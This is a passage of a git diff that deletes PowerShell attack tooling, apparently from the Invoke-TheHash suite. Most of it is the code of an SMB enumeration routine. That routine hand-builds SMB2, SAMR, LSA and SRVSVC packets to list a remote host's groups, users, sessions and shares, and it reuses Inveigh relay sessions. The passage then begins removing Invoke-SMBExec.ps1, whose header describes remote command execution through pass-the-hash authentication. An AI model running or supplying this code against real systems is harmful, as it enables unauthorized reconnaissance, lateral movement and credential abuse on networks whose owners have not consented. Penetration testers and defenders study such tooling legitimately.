-                            Write-Output "NetSessions:"
-                            Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize
-                        }
-
-                        if($Action -eq 'NetSession')
-                        {
-                            Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize
-                        }
-
-                        $stage = 'CloseRequest'
-                    }
-
-                    'ParseUsers'
-                    {
-                        [Byte[]]$response_user_count_bytes = $client_receive[148..151]
-                        $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0)
-                        $response_user_start = $response_user_count * 12 + 172
-                        $response_user_end = $response_user_start
-                        $response_RID_start = 160
-                        $response_user_length_start = 164
-                        $response_user_list = @()
-                        $i = 0
-
-                        while($i -lt $response_user_count)
-                        {
-                            $response_user_object = New-Object PSObject
-                            [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)]
-                            $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0)
-                            [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)]
-                            $response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0)
-                            $response_user_end = $response_user_start + $response_user_length
-                            [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)]
-                            $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0)
-                            [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)]
-                            
-                            if($response_actual_count % 2)
-                            {
-                                $response_user_start += $response_user_length + 14
-                            }
-                            else
-                            {
-                                $response_user_start += $response_user_length + 12
-                            }
-
-                            $response_user = [System.BitConverter]::ToString($response_user_bytes)
-                            $response_user = $response_user -replace "-00",""
-                            $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                            $response_user = New-Object System.String ($response_user,0,$response_user.Length)
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name Username $response_user
-                            Add-Member -InputObject $response_user_object -MemberType NoteProperty -Name RID $response_RID
-                            $response_user_length_start = $response_user_length_start + 12
-                            $response_RID_start = $response_RID_start + 12
-                            $response_user_list += $response_user_object
-                            $i++
-                        }
-
-                        if($Action -eq 'All')
-                        {
-                            Write-Output "Local Users:"
-                        }
-
-                        Write-Output $response_user_list | Sort-Object -property Username |Format-Table -AutoSize
-                        $stage = 'CloseRequest'
-                    }
-                
-                    'QueryGroupMember'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRQueryGroupMember $group_handle
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x19,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'QueryInfoRequest'
-                    {          
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2QueryInfoRequest 0x01 0x05 0x18,0x00,0x00,0x00 0x68,0x00 $file_ID
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data 
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-                
-                    'ReadRequest'
-                    {
-                        Start-Sleep -m $Sleep
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2ReadRequest $file_ID
-                        $packet_SMB_data["Length"] = 0x00,0x04,0x00,0x00
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data 
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data 
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                    'RPCBind'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_RPC_data = New-PacketRPCBind $frag_length $call_ID $num_ctx_items 0x00,0x00 $named_pipe_UUID $named_pipe_UUID_version
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $packet_SMB_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-                        
-                    }
-
-                    'SAMRCloseRequest'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SAMR_data = New-PacketSAMRClose $SAMR_domain_handle
-                        $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data 
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x01,0x00
-                        $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-            
-                    'StatusPending'
-                    {
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00')
-                        {
-                            $stage = $stage_next
-                        }
-
-                    }
-
-                    'StatusReceived'
-                    {
-                        
-                        switch ($stage_current)
-                        {
-
-                            'CloseRequest'
-                            {
-
-                                if($step -eq 1)
-                                {
-                                    $named_pipe = 0x73,0x00,0x61,0x00,0x6d,0x00,0x72,0x00 # samr
-                                    $stage = 'CreateRequest'
-                                }
-                                elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0)
-                                {
-                                    $stage = 'TreeConnect'
-                                }
-                                else
-                                {
-                                    $stage = 'TreeDisconnect'
-                                }
-
-                            }
-
-                            'Connect2'
-                            {
-                                $step++
-                                
-                                if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00')
-                                {
-                                    
-                                    if($Action -eq 'All')
-                                    {
-                                        Write-Output "[-] $username does not have permission to enumerate groups, users, and NetSessions on $target"
-                                    }
-                                    else
-                                    {
-                                        Write-Output "[-] $username does not have permission to enumerate groups on $target"
-                                    }
-                                    
-                                    $RPC_access_denied = $true 
-                                    $stage = 'CloseRequest'
-                                }
-                                else
-                                {
-                                    $SID_count = 0x04,0x00,0x00,0x00
-                                    [Byte[]]$SAMR_connect_handle = $client_receive[140..159]
-                                    $stage = 'OpenDomain'
-                                }
-
-                            }
-
-                            'Connect5'
-                            {
-                                $step++
-
-                                if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00')
-                                {
-                                    Write-Output "[-] $username does not have permission to enumerate users on $target"
-                                    $stage = 'CloseRequest'
-                                }
-                                else
-                                {
-                                    $SID_count = 0x04,0x00,0x00,0x00
-                                    [Byte[]]$SAMR_connect_handle = $client_receive[156..175]
-                                    $stage = 'OpenDomain'
-                                }
-
-                            }
-
-                            'CreateRequest'
-                            {
-
-                                if($action_stage -eq 'Share')
-                                {
-                                    $frag_length = 0x48,0x00
-                                    $call_ID = 2
-                                    $num_ctx_items = 0x01
-                                    $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88
-                                    $named_pipe_UUID_version = 0x03,0x00
-                                    $stage_next = 'NetShareEnumAll'
-                                }
-                                elseif($action_stage -eq 'NetSession')
-                                {
-                                    $frag_length = 0x74,0x00
-                                    $call_ID = 2
-                                    $num_ctx_items = 0x02
-                                    $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88
-                                    $named_pipe_UUID_version = 0x03,0x00
-                                    $stage_next = 'NetSessEnum'
-                                }
-                                elseif($step -eq 1)
-                                {
-                                    $frag_length = 0x48,0x00
-                                    $call_ID = 5
-                                    $num_ctx_items = 0x01
-                                    $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xac
-                                    $named_pipe_UUID_version = 0x01,0x00
-
-                                    if($action_stage -eq 'User')
-                                    {
-                                        $stage_next = 'Connect5'
-                                    }
-                                    else
-                                    {
-                                        $stage_next = 'Connect2'
-                                    }
-
-                                }
-                                elseif($step -gt 2)
-                                {
-                                    $frag_length = 0x48,0x00
-                                    $call_ID = 14
-                                    $num_ctx_items = 0x01
-                                    $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab
-                                    $named_pipe_UUID_version = 0x00,0x00
-                                    $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00
-                                    $stage_next = 'LSAOpenPolicy'
-                                }
-                                else
-                                {
-                                    $frag_length = 0x48,0x00
-                                    $call_ID = 1
-                                    $num_ctx_items = 0x01
-                                    $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab
-                                    $named_pipe_UUID_version = 0x00,0x00
-                                    $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00
-                                    $stage_next = 'LSAOpenPolicy'
-                                }
-
-                                $file_ID = $client_receive[132..147]
-                        
-                                if($Refresh -and $stage -ne 'Exit')
-                                {
-                                    Write-Output "[+] Session refreshed"
-                                    $stage = 'Exit'
-                                }
-                                elseif($step -ge 2)
-                                {
-                                    $stage = 'RPCBind'
-                                }
-                                elseif($stage -ne 'Exit')
-                                {
-                                    $stage = 'QueryInfoRequest'
-                                }
-
-                            }
-
-                            'EnumDomainUsers'
-                            {
-                                $step++
-                                $stage = 'ParseUsers'
-                            }
-
-                            'GetMembersInAlias'
-                            {
-                                $step++
-                                [Byte[]]$SID_array = $client_receive[140..([System.BitConverter]::ToInt16($client_receive[3..1],0) - 1)]
-                        
-                                if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0')
-                                {
-                                    $stage = 'SAMRCloseRequest'
-                                }
-                                else
-                                {
-                                    $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc
-                                    $stage = 'CreateRequest'
-                                }
-
-                            }
-
-                            'LookupNames'
-                            {
-                                $step++
-                                [Byte[]]$SAMR_RID = $client_receive[152..155]
-                                
-                                if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0')
-                                {
-                                    $stage = 'SAMRCloseRequest'
-                                }
-                                else
-                                {
-                                    
-                                    if($step -eq 4)
-                                    {
-                                        $stage = 'OpenGroup'
-                                    }
-                                    else
-                                    {
-                                        $stage = 'OpenAlias'
-                                    }
-
-                                }
-
-                            }
-
-                            'LookupRids'
-                            {
-                                $step++
-                                $stage = 'ParseLookupRids'
-                            }
-
-                            'LSAClose'
-                            {
-                                $stage = 'CloseRequest'
-                            }
-
-                            'LSALookupSids'
-                            {
-                                $stage = 'ParseLookupSids'
-                            }
-
-                            'LSAOpenPolicy'
-                            {
-                                [Byte[]]$policy_handle = $client_receive[140..159]
-
-                                if($step -gt 2)
-                                {
-                                    $stage = 'LSALookupSids'
-                                }
-                                else
-                                {
-                                    $stage = 'LSAQueryInfoPolicy'    
-                                }
-
-                            }
-
-                            'LSAQueryInfoPolicy'
-                            {
-                                [Byte[]]$LSA_domain_length_bytes = $client_receive[148..149]
-                                $LSA_domain_length = [System.BitConverter]::ToInt16($LSA_domain_length_bytes,0)
-                                [Byte[]]$LSA_domain_actual_count_bytes = $client_receive[168..171]
-                                $LSA_domain_actual_count = [System.BitConverter]::ToInt32($LSA_domain_actual_count_bytes,0)
-                                
-                                if($LSA_domain_actual_count % 2)
-                                {
-                                    $LSA_domain_length += 2
-                                }
-
-                                [Byte[]]$LSA_domain_SID = $client_receive[(176 + $LSA_domain_length)..(199 + $LSA_domain_length)]
-                                $stage = 'LSAClose'
-                            }
-
-                            'NetSessEnum'
-                            {
-
-                                if([System.BitConverter]::ToString($client_receive[172..175]) -eq '05-00-00-00')
-                                {
-                                    Write-Output "[-] $username does not have permission to enumerate NetSessions on $target"
-                                    $stage = 'CloseRequest'
-                                }
-                                else
-                                {
-                                    $stage = 'ParseSRVSVC'
-                                }
-
-                            }
-
-                            'NetShareEnumAll'
-                            {
-                                $stage = 'ParseSRVSVC'
-                            }
-
-                            'OpenAlias'
-                            {
-                                $step++
-                                [Byte[]]$SAMR_policy_handle = $client_receive[140..159]
-                        
-                                if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0')
-                                {
-                                    $stage = 'SAMRCloseRequest'
-                                }
-                                else
-                                {
-                                    $stage = 'GetMembersInAlias'
-                                }
-
-                            }
-
-                            'OpenDomain'
-                            {
-                                $step++
-                                [Byte[]]$SAMR_domain_handle = $client_receive[140..159]
-
-                                if($action_stage -eq 'User')
-                                {
-                                    $stage = 'EnumDomainUsers'
-                                }
-                                else
-                                {
-                                    $stage = 'LookupNames'
-                                }
-
-                            }
-
-                            'OpenGroup'
-                            {
-                                $step++
-                                [Byte[]]$group_handle = $client_receive[140..159]
-                                $stage = 'QueryGroupMember'
-                            }
-
-                            'QueryGroupMember'
-                            {
-                                $step++
-                                [Byte[]]$RID_count_bytes = $client_receive[144..147]
-                                $RID_count = [System.BitConverter]::ToInt16($RID_count_bytes,0)
-                                [Byte[]]$RID_list = $client_receive[160..(159 + ($RID_count * 4))]
-                                $stage = 'LookupRids'
-                            }
-
-                            'QueryInfoRequest'
-                            {
-                                $file_ID = $client_receive[132..147]
-                                $stage = 'RPCBind'
-                            }
-
-                            'ReadRequest'
-                            {
-                                $stage = $stage_next
-                            }
-
-                            'RPCBind'
-                            {
-                                $stage = 'ReadRequest'
-                            }
-
-                            'SAMRCloseRequest'
-                            {
-                                $step++
-
-                                if($step -eq 8)
-                                {
-                                    Write-Output "[-] $Group group not found"
-                                    $stage = 'TreeDisconnect'
-                                }
-                                else
-                                {
-
-                                    if($step -eq 5 -and $action_stage -eq 'Group')
-                                    {
-                                        $LSA_domain_SID = 0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00
-                                        $SID_count = 0x01,0x00,0x00,0x00
-                                    }
-
-                                    $stage = 'OpenDomain'
-                                }
-
-                            }
-
-                            'TreeConnect'
-                            {
-                                $tree_ID = $client_receive[40..43]
-                                $access_mask = $null
-
-                                if($client_receive[76] -eq 92)
-                                {
-                                    $tree_access_mask = 0x00,0x00,0x00,0x00
-                                }
-                                else
-                                {
-                                    $tree_access_mask = $client_receive[80..83]
-                                }
-
-                                if($share_list.Count -gt 0)
-                                {
-
-                                    if($client_receive[76] -ne 92)
-                                    {
-
-                                        ForEach($byte in $tree_access_mask)
-                                        {
-                                            $access_mask = [System.Convert]::ToString($byte,2).PadLeft(8,'0') + $access_mask
-                                        }
-                                        
-                                        $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask}
-                                        $stage = 'TreeDisconnect'
-                                    }
-                                    else
-                                    {
-                                        $access_mask = "00000000000000000000000000000000"
-                                        $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask}
-                                        $stage = 'TreeConnect'
-                                        $j++
-                                    }
-
-                                }
-                                else
-                                {
-                                    
-                                    if($action_stage -eq 'Share' -or $action_stage -eq 'NetSession')
-                                    {
-                                        $named_pipe = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc
-                                    }
-                                    else
-                                    {
-                                        $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc
-                                    }
-
-                                    $tree_IPC = $tree_ID
-                                    $stage = 'CreateRequest'
-                                }
-
-                            }
-
-                            'TreeDisconnect'
-                            {
-
-                                if($Action -eq 'All')
-                                {
-
-                                    switch ($action_stage) 
-                                    {
-
-                                        'group'
-                                        {
-
-                                            if($RPC_access_denied)
-                                            {
-                                                $action_stage = "share"
-                                            }
-                                            else
-                                            {
-                                                $action_stage = "user"
-                                                $step = 0
-                                            }
-
-                                            $stage = "treeconnect"
-                                        }
-
-                                        'user'
-                                        {
-                                            $action_stage = "netsession"
-                                            $stage = "treeconnect"
-                                            
-                                        }
-
-                                        'netsession'
-                                        {
-                                            $action_stage = "share"
-                                            $stage = "treeconnect"
-                                        }
-
-                                        'share'
-                                        {
-
-                                            if($share_list.Count -gt 0 -and $j -lt $share_list.Count - 1)
-                                            {
-                                                $stage = 'TreeConnect'
-                                                $j++
-                                            }
-                                            elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1)
-                                            {
-                                                Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize
-                                                $tree_ID = $tree_IPC
-                                                $stage = 'TreeDisconnect'
-                                                $j++
-                                            }
-                                            else
-                                            {
-                                                
-                                                if($inveigh_session -and !$Logoff)
-                                                {
-                                                    $stage = 'Exit'
-                                                }
-                                                else
-                                                {
-                                                    $stage = 'Logoff'
-                                                }
-
-                                            }
-                                            
-                                        }
-
-                                    }
-
-                                }
-                                else
-                                {
-                                    
-                                    if($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -lt $share_list.Count - 1)
-                                    {
-                                        $stage = 'TreeConnect'
-                                        $j++
-                                    }
-                                    elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -eq $share_list.Count - 1)
-                                    {
-                                        Write-Output $response_object_list | Sort-Object -property Share |Format-Table -AutoSize
-                                        $tree_ID = $tree_IPC
-                                        $stage = 'TreeDisconnect'
-                                        $j++
-                                    }
-                                    else
-                                    {
-                                    
-                                        if($inveigh_session -and !$Logoff)
-                                        {
-                                            $stage = 'Exit'
-                                        }
-                                        else
-                                        {
-                                            $stage = 'Logoff'
-                                        }
-
-                                    }
-
-                                }
-                                
-                            }
-
-                        }
-
-                    }
-
-                    'TreeConnect'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-
-                        if($share_list.Count -gt 0)
-                        {
-                            $path = "\\" + $Target + "\" + $share_list[$j]
-                            $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path)
-                        }
-
-                        $packet_SMB_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2TreeConnectRequest $path_bytes
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data    
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data 
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-
-                        try
-                        {
-                            $client_stream.Write($client_send,0,$client_send.Length) > $null
-                            $client_stream.Flush()
-                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                            if(Get-StatusPending $client_receive[12..15])
-                            {
-                                $stage = 'StatusPending'
-                                $stage_next = 'StatusReceived'
-                            }
-                            else
-                            {
-                                $stage = 'StatusReceived'
-                            }
-
-                        }
-                        catch
-                        {
-                            Write-Output "[-] Session connection is closed"
-                            $stage = 'Exit'
-                        }
-                        
-                    }
-
-                    'TreeDisconnect'
-                    {
-                        $message_ID++
-                        $stage_current = $stage
-                        $packet_SMB_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2TreeDisconnectRequest
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $SMB_header + $SMB_data
-                            $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..15]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if(Get-StatusPending $client_receive[12..15])
-                        {
-                            $stage = 'StatusPending'
-                            $stage_next = 'StatusReceived'
-                        }
-                        else
-                        {
-                            $stage = 'StatusReceived'
-                        }
-
-                    }
-
-                }
-        
-            }
-            catch
-            {
-                $error_message = $_.Exception.Message
-                $error_message = $error_message -replace "`n",""
-                Write-Output "[-] $error_message"
-            }
-
-        }
-
-
-    }
-
-    if($inveigh_session -and $Inveigh)
-    {
-        $inveigh.session_lock_table[$session] = 'open'
-        $inveigh.session_message_ID_table[$session] = $message_ID
-        $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s}
-    }
-
-    if(!$inveigh_session -or $Logoff)
-    {
-        $client.Close()
-        $client_stream.Close()
-    }
-
-}
-
-}
\ No newline at end of file
diff --git a/Invoke-SMBExec.ps1 b/Invoke-SMBExec.ps1
deleted file mode 100644
index 52394cd..0000000
--- a/Invoke-SMBExec.ps1
+++ /dev/null
@@ -1,2764 +0,0 @@
-function Invoke-SMBExec
-{
-<#
-.SYNOPSIS
-Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec
-supports SMB1 and SMB2 with and without SMB signing.
-
-Author: Kevin Robertson (@kevin_robertson)
-License: BSD 3-Clause
-
-.PARAMETER Target
-Hostname or IP address of target.
-
-.PARAMETER Username
-Username to use for authentication.
-
-.PARAMETER Domain
-Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the
-username. 
-
-.PARAMETER Hash
-NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
-
-.PARAMETER Command
-Command to execute on the target. If a command is not specified, the function will check to see if the username
-and hash provides local administrator access on the target.
-
-.PARAMETER CommandCOMSPEC
-Default = Enabled: Prepend %COMSPEC% /C to Command.
-
-.PARAMETER Service
-Default = 20 Character Random: Name of the service to create and delete on the target.
-
-.PARAMETER SMB1
-(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the
-target.
-
-.PARAMETER Sleep
-Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
-setting if you are experiencing strange results.
-
-.PARAMETER Session
-Inveigh-Relay authenticated session.
-
-.PARAMETER SigningCheck
-(Switch) Checks to see if SMB signing is required on a target.
-
-.EXAMPLE
